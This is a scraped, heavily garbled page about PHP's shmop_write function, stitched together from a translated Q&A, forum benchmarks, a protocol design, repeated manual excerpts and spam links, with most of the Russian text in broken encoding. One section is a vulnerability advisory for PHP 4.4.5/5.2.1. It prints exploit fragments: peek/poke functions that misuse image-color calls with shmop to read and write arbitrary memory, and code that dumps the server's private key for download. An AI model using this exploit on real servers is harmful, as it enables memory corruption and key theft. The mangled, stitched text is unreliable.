Что такое код shmop_write

��� �������� ����� 1 ������ � ����� ������ � ������� shmop_write php?

� ����� �������� �����, � ��� ����� ������. �� ������, ��� ������ ����� 1 ������ � ����� ������, ��������� shmop_write php?

��� ��� ��������� php:

��������� ��������� (��������� �������): ��� ������ 1String 2

��, ��������� ����� ����������: String 2String 1

� ���� � ������� $string = «String 1» �� $string = «This is String 1» , ��������� ��� �����: String 2String 1 (��������, �� ����� �������� ���� ������)

������ �� �� ���������� ���, ��� �������� �������� ���������? �������.

����� ������ — ��� �� �����, � ������ ���� ������. ������ �������� shmop_read() ���������, ��� � ����� ������ ������ ��������� ������. ���� �� ������ ���� ��������, ��� ������ �������������� ��, ��� ���� ������. ���� �� ������ �������� ���� �� ������, ��� ����� ������� ������ ��������:

���� �� ������ �������� ����� ����� � ����� ������, �������� ����������, ����� ����������� ������� �������:

������� ����� ���� �� ����������� ���, ��������� �����, ��� $offset — ��� �������� ������.

����� PHP ������������� > ������ > �����

������� ��������!

���������: 894
������������ �: 30580
�� ������:
�����: 43

��� ��������� ������ SHMOP �� UNIX ������� ���� �� �����, �� ������, ��� ���������� ����� �����, �� ��� �� �������:

����� � ��������� (�� ��� ����� ����������, �� ��� ����� ����� ���):

shmop_writer. php — ���� ������� ����� ������ � ����������� ������

shmop_reader. php — ���� ������� ����� ������ �� ����������� ������.

shmop_writer ������:
Writes per sec: 40498 Data size per sec: 6.03 gb
Writes per sec: 41191 Data size per sec: 6.14 gb
Writes per sec: 41074 Data size per sec: 6.12 gb
Writes per sec: 41149 Data size per sec: 6.13 gb
Writes per sec: 41164 Data size per sec: 6.13 gb
Writes per sec: 41170 Data size per sec: 6.13 gb

shmop_reader ������:
Reads per sec: 23501
Reads per sec: 23495
Reads per sec: 23488
Reads per sec: 23516
Reads per sec: 23539
Reads per sec: 23534
Reads per sec: 23505
Reads per sec: 23501
Reads per sec: 23458
Reads per sec: 23459
Reads per sec: 23512

� ������ ���� shmop_writer ������:

Writes per sec: 40976 Data size per sec: 6.11 gb
Writes per sec: 40901 Data size per sec: 6.09 gb
Writes per sec: 24992 Data size per sec: 3.72 gb
Writes per sec: 23602 Data size per sec: 3.52 gb
Writes per sec: 23599 Data size per sec: 3.52 gb
Writes per sec: 23608 Data size per sec: 3.52 gb
Writes per sec: 23644 Data size per sec: 3.52 gb

�������� ������ ����� ����� � 2 ����.

������ ��� 4 ����� shmop_reader

Writes per sec: 13991 Data size per sec: 2.08 gb
Writes per sec: 14113 Data size per sec: 2.1 gb
Writes per sec: 14849 Data size per sec: 2.21 gb
Writes per sec: 13931 Data size per sec: 2.08 gb
Writes per sec: 14575 Data size per sec: 2.17 gb

��� �� �������� ����� ��������.

������ ���� 4 ������, �� ������ LOCK_SH ����� LOCK_EX

shmop_writer ������:
Writes per sec: 8106 Data size per sec: 1.21 gb
Writes per sec: 8166 Data size per sec: 1.22 gb
Writes per sec: 8214 Data size per sec: 1.22 gb
Writes per sec: 8198 Data size per sec: 1.22 gb
Writes per sec: 8184 Data size per sec: 1.22 gb

�����, ���� �� ������ ���� � �� �� ������, �� � ������ �������, �� ����� ������������ LOCK_SH.
��� �� flock ����� ��������� ��������. ��-�� �� �������� ����� ������ ������, ��� ����� �� ����������. ���� ����� �� 1.2 ���� � ���, ���������� �� ����� ����������, ���, ��� ��� �� ����������� :lol:

���� ��� ���� ��������, � �������������� ������ �����, ������ ������ ������ �� ����� �������� � read, write ����� ������ ��� ����� ���� ������ ����������� � ������ �������. �� ��� �������� ��� ���� ��������, ���, ��, ��� ����� �������� �������� �����. �������? ������! �� ��� �� ���������� ������ ���, ������� ���������� � shmop libevent, � ����� ��������� ����� �������� ������ � ����������, �� ��� ��������� ��� ��� ������ �����, ������������� �������� ����� ������, ��� ��� ����������� ������������ ������� �� �������. ����� �������� ������� usleep ��� ������� ������, ������� ����� ������. ��� ������� ����� �� ������, ���� �������� ����������� ���������� ��������� �������:

������ 1: ����� ������ ��������� (libevent), ��������� ������ �������� ����.
������ 1 �������� ������ 2, ������� ������ ���� ���� � �������� ������ ����� shmop (fread ������ �����, ������� ��� �� �������� ������ ����� � ��� �� �������, ������� ������������ ��������� ������ 2 ������� ���������� ������������� ������� ������ � ��������� �� ����� shmop.)

������ 2 ������ ���� � ����� ��� � shmop, ������ 1 ������ ������ �� shmop � ���������� �� �����, ����� ���� �������� ������ �� ���������� ������ �� ������, � ��� ��� ���� ������� )))

�������� ������ �������� ������� ��� ������� 2, ������� �� ������ ����� ����.

��������: ������ 2 ����� ������ � ���� �� ���� ���� �����, � ������ ����� ������� ������� ����� ��� ������� 1 � ������� 512 ��. �� ����.

Илон Маск рекомендует:  animation-iteration-count в CSS

����� ����������� �������� �������� �� �������� I/O � ������� 1 � �� ������ �������� �� ���� �����������, ��� ���� ������ �������� �������� ������ � ������������ ���������, ��� ������� ������ ����� ��������� ������ 2

����� ���� ������� EIO, �� � �� ��� ������� �����..

1 ���� �������� ������ ���������� :lol:

������ ��� �� �������, ���� ������������ ��������� �������� ������ ����� shmop ������. � �� ���-��� �� ��������.

������� �� �������� ������������ �������, ����� �������� ����������� �� �����������, �� ��� ���� �������� 2.67 ���� � ��� ������

���� ������ ������ ��� � ������ ������, ������ 13 — 14 ����� � ���, ��� � ������ ����

� ������� ������ �� ����������� ���������, � ��� ������� ����� ������ ���� ������� shmop, � ���� ������ �� ��������, ��������� �������� ������, �� ����� shmop ����� �� ���������� ��������������, �� � �� ������� ���� ����������� �� ���������� ���������, ��� �������� ������� ���� �������.

������� — (1 ����)
��������� ������ (2 ����)
����� ����� (6 ����)
— ����� 9 ���� ���������.
�������� ������ (������ �������� shmop)

\0 — NULL ������ ����� ����� ������� ������ ��������������.(���������� ������ �� ���� �������).
\1 — SOH ������� ���������, �� ��, ��� ���� ������ ������� ����� ���������.
\4 — EOT ���� ��� ����� ���� ��������, ��� ���������� � �������� ������������ ��������� ��������� EOT, �� ������� ������� ����� �������� ����� �����(EOF).
\5 — ENQ ������ �����.
\11 — DC1 ������ �� �������� ���������� ����� ������.
\18 — CAN �������� �������� �����.

���������� ������ �������� ����������, � ������ ����������� �������� ���������, ����� ���������� ��������, ����� �� ��������� ����, � ����� ��� ������ �� ��������, � ���� ������,
��������� ���������� �������� � ����� ��������� ������� ������ �����. ��� ��� � ��� ����� 1 �������, � ������ �����, ��������� ������� DC1 � ��������� �������������� �����, ������ ����� � ���� �� ������, ������ �� �������
������ � ����� ������ ������, ������� ����� ���������� �������� � ��������� � ��� �����. (����� ����������� ������������ ���������� ������ �� ���� ������ flock, ����� ���� �� ������ ������ ������� � �� �������
������ ������������ �����, �� ���� ����, ��� flock ����������� � ������� ������������� �����.)

��������� ������:
1. NULL — ��� ����������.
2. SOH + ����� ����� + ������������� ����� + ������ ������ + �������� ������
3. EOT + ����� ����� + ������������� �����
4. ENQ + ����� ����� + ������������� ����� + ������ ������ + �������� ������
5. DC1 + ����� �����
6. CAN + ����� ����� + ������������� �����

\0 ����� zero-string.
��������� ������ � ����� ����� ����� ������������� ������, ���� � ��������� ������ ��� ����� ����� ���������� ������ ������ ��� ������������� ������, ��������� ��������� ������ NULL ��������.

������ ������������ ������:

������ �� �������� �����:

ENQ7NULL11. c:\test. php

ENQ7216. c:\test\test. php

(����� ������������ �������� ����� ���� ������)
������ ������ ����� ��� c:\test. php , ������ ���������� �� ��������� � 9 ����, �.� ������ ����������� ������� � 10 �����.

�������:
1. ������� 1 ����.
2. �������� ������� 1 ���� + NULL ������ (�������� 2 �����)
3. ����� ����� 2 ����� + NULL ������ (�������� 6 ����)
4. ������ 11 ����.(�������� *��������� shmop ��������)

SOH7NULL11. [BINARY DATA]

������ �������� ������:

�������� ������ ���������:

������ �� �������� ���������� ����� ������:

� ���� ����� ���� ��������� ����:

��� ������� ������� ��������� �� �������� ������ ������. �� ������� ������� ����� ����� ����������� ���� �������� �� ��������� ������. � ������ ������� �� ����� ����� �������� � ���, ��� ������� �������� ������ ����� �������� �� ������ �������, ���� �� �����, �� � ���� ����� �������� ������ ������ �� ������ ������, � ���� ����� �������, �� ������ �������� ������ ����� ������� ������. � ������ ������� ����� ���������� �����������, � ���� ������ ����� ����� �������, ����� ��������� ���, ��� ����� �������� �� ��������� ����� ����� ��� ������������ ��������.

��� ���, ��� ����:

������ ��������, �� ��� �������� ������.

Writes per sec: 6913 Data size per sec: 1.03 gb
Writes per sec: 7690 Data size per sec: 1.15 gb
Writes per sec: 7862 Data size per sec: 1.17 gb
Writes per sec: 6595 Data size per sec: 1006.32 mb
Writes per sec: 8056 Data size per sec: 1.2 gb
Writes per sec: 7513 Data size per sec: 1.12 gb
Writes per sec: 7531 Data size per sec: 1.12 gb
Writes per sec: 7544 Data size per sec: 1.12 gb
Writes per sec: 7144 Data size per sec: 1.06 gb
Writes per sec: 7650 Data size per sec: 1.14 gb
Writes per sec: 7761 Data size per sec: 1.16 gb
Writes per sec: 7352 Data size per sec: 1.1 gb
Writes per sec: 7114 Data size per sec: 1.06 gb
Writes per sec: 7264 Data size per sec: 1.08 gb
Writes per sec: 7383 Data size per sec: 1.1 gb
Writes per sec: 7639 Data size per sec: 1.14 gb
Writes per sec: 7872 Data size per sec: 1.17 gb
Writes per sec: 7486 Data size per sec: 1.12 gb
Writes per sec: 7593 Data size per sec: 1.13 gb

Reads per sec: 9866 Data size per sec: 1.47 gb
FID: 2 Len: 160002
Reads per sec: 10032 Data size per sec: 1.5 gb
FID: 34 Len: 160034
Reads per sec: 10029 Data size per sec: 1.49 gb
FID: 13 Len: 160013
Reads per sec: 10036 Data size per sec: 1.5 gb
FID: 49 Len: 160049
Reads per sec: 10027 Data size per sec: 1.49 gb
FID: 26 Len: 160026
Reads per sec: 10038 Data size per sec: 1.5 gb
FID: 14 Len: 160014
Reads per sec: 10012 Data size per sec: 1.49 gb
FID: 26 Len: 160026
Reads per sec: 10035 Data size per sec: 1.5 gb
FID: 11 Len: 160011
Reads per sec: 10027 Data size per sec: 1.49 gb
FID: 38 Len: 160038
Reads per sec: 10029 Data size per sec: 1.49 gb
FID: 17 Len: 160017
Reads per sec: 10029 Data size per sec: 1.49 gb
FID: 46 Len: 160046
Reads per sec: 10030 Data size per sec: 1.49 gb
FID: 26 Len: 160026
Reads per sec: 10025 Data size per sec: 1.49 gb
FID: 1 Len: 160001
Reads per sec: 10038 Data size per sec: 1.5 gb
FID: 39 Len: 160039

Илон Маск рекомендует:  htmlentities - Преобразует символы в соответствующие HTML сущности.

�������� ������ �����������, ����� ������� ����������� ������ ����������, �� �����, ��� ��� ���� ����� ������ ������ 99 ������ ������������ � ��� ���� � ������� ���������� ������ 999999 ���� ����. ����. ������ ��� �������� ��������� ���������� ������, ����� flock.

�������� �����, ������� ��������, �� ������ ��� EPIC FAIL. ������� �� ���������� �������� �����������, ��� ���� �� �������� ����� �������� ����� ��� shm ������� ������� ����� ������ ���� �������� � ��. ����� ��� ����� ��������� �������� �� ������ � fread �� 1 ms.

�� ���� ���������� �������� � ��������� ����� �����, ��� 1 �� ����� ������������ � 1000 �� � ������ ����� ������ � �� ��������� ������ ������. ��� �� fread ������ ����� �������� �� ���� ����� ��, ���� ������� ������ ���� � ������ � ��� ��������.

��� ����� �������, ����� ������� ������������ ����, � �����

����������� ������� ������ �������� ������ � ���

������� �������!
���� — ������ daemon.php �������� ���������� ��� ���������� (cron), ���������� ��������� �������.
�� ������ ���� ������� �� ��������� ��������� ������ ������, ��� ������� ������� — ��������� ��������� ������ � ������.
������ ���������, ������� ��������.

����� �������� ������ � ����� �������, ��������� ����� �� ������ � ��������� �� ������� �������, ������� � ������� ��������� ����������. ����������� ������ �������, ��� ������� daemon.php ��� ������ �������.

������ ������ � �������� mysql, �� ������� ���������� � ������ ����� �������� �������.

������� �� ������!

06.07.2020, 02:05

����������� ���������� ������ ��� ������� ������ �� csv � MySql ��
������������! ������ �� �� ������ ��������� �������: 1. ��������� �� ������ ���� � � �� �����.

�������� ������� ������
���� �����, ��� �������. ������� �� �� 2 ��� ���, �������� �� �� ����� ����� ��� �������� �.

����������� ������ �������� ������
� ������ ������, � ������ � ���� ����� ������, ������� ��� ���� ������� ����������� � ����������.

����������� ������� ������ ��������� ������������ � ���������
������ ����! ���� exe-���� ���������. � ���� ������� ���, ����� ��� ������������ ������������ �.

����������� �������� ������� ������ ���������� ������ ���������� � ������
������������. ��������� ������������ ����� �����������, �� ��� � ������ � ���� �� ������, � �����.

How to write more than 1 strings to shared memory using shmop_write php?

I’m pretty new here and I need help. Do you know how to write more than 1 strings to shared memory using shmop_write php?

this is my php syntax:

Expected Result (Wanted result) : This is String 1String 2

BUT, The Result of that syntax is : String 2String 1

and if I change $string = «String 1» from $string = «This is String 1» , the result still : String 2String 1 (like can’t refresh the memory block)

Can you tell me how to get the wanted result? Thx.

1 Answer 1

Shared memory is not a stream, it’s just a block of memory. The third argument to shmop_read() specifies where in the memory block the write should happen. If you write to the same offset, it just overwrites what was there before. If you want to write one thing after another, you need to specify a different offset:

If you want to write lots of things to the shared memory, update a variable to track the current position:

A good idea would be to implement this using a class, where $offset is a class property.

��� ������ PHP-���������� shmop?

Shmop � ��� ������� � ������������� ����� �������, ������� ��������� PHP ������, ����������, ��������� � ������� �������� ����������� ������ Unix.

� �� �������, ������ ���� ����� ����������? ��� ���� ��� ����������?

����� ������ ��������� ���������� ��������� �������� ������ � ��� �� ������ � ������. �� ������ ������������ ��� ��� ������ ������� ����� ����������� ��������� PHP.

����� ��������� ���������������, ��� � ����� ������ ��������.

��������� �������� ����� ������������ ���������� � ����� � ��� �� ����� ������, ��� ����� �������� � �������� ����� . � ����������� ���� �������, ���� ��� �������� ��������� ����������� ������ ����� ������� �������, ���������� ����� ������, ��� ������ ����. ������� ����� ����� ���� ������������� � ������� �������� , �� ��� ������� �� ����� ����� Q & A.

����� ������ ������������ ��� ������ ���� �������������� ����� ���������� , � ������ �������� ������. ��������� ������, ��������� �� PHP (� ����������� �� ��������� � ������ PHP):

  • ������� ( posix_kill ��� �������� �������, pcntl_signal ��� ��������� ����������� �������), ������������ ��� �������� ���������. ������� �� �������� ������� � ���������, ��� ��� ������ ������ ������ �������� � ������� ����� ��������� �������.
  • ������ ��� ������. ������ ����� ������������ ���� ��� ����� ���� ����������.
  • ����� ��� ������. posix_mkfifo ������������ ��� �������� ����������� ������� (aka FIFO ), � ����������� ������� ������ ������������ ��� ������ � ������ ������. ��� ����� (��� ��������� ) ����� ����� ���� ������� ����� ������������� � ��������� ����������, ��������� popen ��� proc_open . �������� ��������, ��� ����������� ������ �� ����� ���� ������� ����� ������������� ����������. �������� ��������, ��� ����� �� ��������� �������� ��������������: ����� ����� ����� �������������� ��� ��� ������, ��� � ��� ������, �� �� ��� �����.
  • �������� ��� ������������� .
  • ������� ��������� ��� ������ ����������� . � PHP ���������� Semaphore ���������� ��� ������� ���������, ��� � ������ ����� ������� ����� ������ (��������, shm_attach ). ����� �������� ��������� ������ ���������� ��� ��������� ���������� ������ �����������, ������� SAM , STOMP � AMQP . ��. � ������ ������ � � ����������� �� PHP, ��, ������.
  • ���������� �������� ������ ��� ������. �� ����� ������ ������ ��� ������ ������, ���� ��� ������������� ������ ���������. ��� ����� ������������� ��� ������������ ���������� ������ ����������, ����� ��� ������ ����� �����.
  • ���������� �������� ��������� , ����� ��� cURL , ��� ������ ����������� � �������. ������� ����������� �������, ��� (��������������) ������ ������.
  • ���������� ���-����� , ����� ��� SOAP � XML-RPC , ��� ��������� ������� �������� (RPC). �������� ��������, ���, ���� ��� �������� �� �������, ��� ������������� ��� ������� ���� IPC (RPC, � �� ��� ������).
Илон Маск рекомендует:  Статьи о верстке на CSS

���� ������ (� ���-�� �� �� ������, ����� ��� ���������� �������) � ������ ����� �������������� ��� �������� ������ ����� ����������, �� ����������� � ����� ��� ����� ���������� ����������. ������ ����� ������������ ������ � ���� ���������; ����� ������������ ����� ����, ���������� ������� ��������� ������� (� ������� ������ ������ ������-��������� �����������). � ������� ������ ���� ������� ����� ������ ������ ; ��� ������ �� ��������, ��� ������ �� ����� �������� ������ ���������, ���� ��� ����� ������ ������ ������ (������� ����� ������ ���������� ��� ����, ����� ��������). ������������ ���������� ��������� ����� ������� ���� � �� �� ������� ����������� ������.

����� ���������� ������� ����������� ������, ������� ������������� ������� ������, ������ � �������� ����� �������� ������ ���������� �������. ������ �� ���������� ��������� ������� � ������ ��������� ������������ ������ ����� ���.

����������� ������������� ������� ����� ���� ���������:

  • �������� ������ ����� ������ / ������
  • ����� ������ (������, ��������)

��������� � ��������� ������� �������� ������ �� ����� ������, ����� ������������ ����� ������ .

��� ������� ������������� �������������� ����������� ��� ��������� ����������� ��������� ������ � PHP.

��� ����� ��� shmop_write

shmop_write — ���������� ������ � ���� shared-������.

��������

int shmop_write (int shmid, string data, int offset)

shmop_write() ��������� 3 ���������: shmid — ������������� ����� shared-������, ��������� �������� shmop_open() , data — ������, ������� �� ������ �������� � ���� shared-������, � offset — ��������, ������� ������������� �����, ��� �������� ������ ������ � �������� shared-������.

������ 1. ������ � ���� shared-������

���� ������ ���������� ������ ������ $my_string � ���� shared-������, $shm_bytes_written ����� ��������� ���������� ���������� ������.

shmop_write

(PHP 4 >= 4.0.4, PHP 5)

shmop_write � Write data into shared memory block

shmop_write() will write a string into shared memory block.

The shared memory block >shmop_open()

A string to write into shared memory block

Specifies where to start writing data inside the shared memory segment.

The size of the written data , or FALSE on failure.

Example #1 Writing to shared memory block

This example will write data inside $my_string into shared memory block, $shm_bytes_written will contain the number of bytes written.

  • shmop_read() — Read data from shared memory block

��� ����� ��� shmop_write

(PHP 4 >= 4.0.4, PHP 5)

shmop_write — Write data into shared memory block

Description int shmop_write ( int shmid, string data, int offset )

shmop_write() will write a string into shared memory block.

shmop_write() takes 3 parameters: shm >shmop_open() , data, a string that you want to write into shared memory block and offset, which specifies where to start writing data inside the shared memory segment.

Пример 1. Writing to shared memory block

This example will write data ins >$my_string into shared memory block, $shm_bytes_written will contain the number of bytes written.

������������� ���������� � PHP

Xakep #246. �������, �������, �������!

���������: PHP 4.4.5 / 5.2.1

��������� ���������� ��������� ���������� �������������� ��������� ������������ ���, �������� ������������������� ������ � ���������������� ���������� � ������ ����������� ������������ �� ������� �������.

1) ���������� ��������� ��-�� ������ � �������� ������� ������ � ������� crack_opendict(). ��������� ��������� ����� ��������� ������������ ��� �� ������� �������.

2) ���������� ��������� ��-�� ������ � �������� ������� ������ � ������� substr_compare().��������� ����� �������� ������������������� ������ � ���������������� ���������� �� ������� �������.

3) ���������� ��������� ��-�� ������ � �������� ������� ������ shmop ��������� (shmop_read, shmop_write). ��������� ��������� ����� ��������� ������������ ��� �� ������� �������.

imagecolorallocate($rid, 0, 0, 0);
imagecolorallocate($rid, 0, 0, 0);
>

function peek($addr, $size)
<
global $rid;
imagecolordeallocate($rid, 0);
imagecolordeallocate($rid, 1);
imagecolorallocate($rid, $addr, 0, 0);
imagecolorallocate($rid, $size, 0, 0);
return shmop_read((int)$rid, 0, $size);
>

function poke($addr, $val)
<
global $rid;
imagecolordeallocate($rid, 0);
imagecolordeallocate($rid, 1);
imagecolorallocate($rid, $addr, 0, 0);
imagecolorallocate($rid, strlen($val), 0, 0);
return shmop_write((int)$rid, $val, 0);
>

$arr = array();
for ($i=0; $i

imagecolorallocate($rid, 0, 0, 0);
imagecolorallocate($rid, 0, 0, 0);
>

function peek($addr, $size)
<
global $rid;
imagecolordeallocate($rid, 0);
imagecolordeallocate($rid, 1);
imagecolorallocate($rid, $addr, 0, 0);
imagecolorallocate($rid, $size, 0, 0);
return shmop_read((int)$rid, 0, $size);
>

$offset = 0x08048000 + 1024 * 64;

$data = peek($offset, 1024 + 16);

header(«Content-type: application/octet-stream»);
header(«Content-Disposition: attachment; filename=\»server.der\»»);
echo $keydata;
?>

4) ���������� ��������� ��-�� ������ � �������� ������� ������ � PHP COM �����������. ��������� ����� ������ ����������� ������������ Safe_Mode �� ������� �������.

shmop_write

(PHP 4 >= 4.0.4, PHP 5)

shmop_write � Write data into shared memory block

shmop_write() will write a string into shared memory block.

The shared memory block >shmop_open()

A string to write into shared memory block

Specifies where to start writing data inside the shared memory segment.

The size of the written data , or FALSE on failure.

Example #1 Writing to shared memory block

This example will write data inside $my_string into shared memory block, $shm_bytes_written will contain the number of bytes written.

  • shmop_read() — Read data from shared memory block
Понравилась статья? Поделиться с друзьями:
Кодинг, CSS и SQL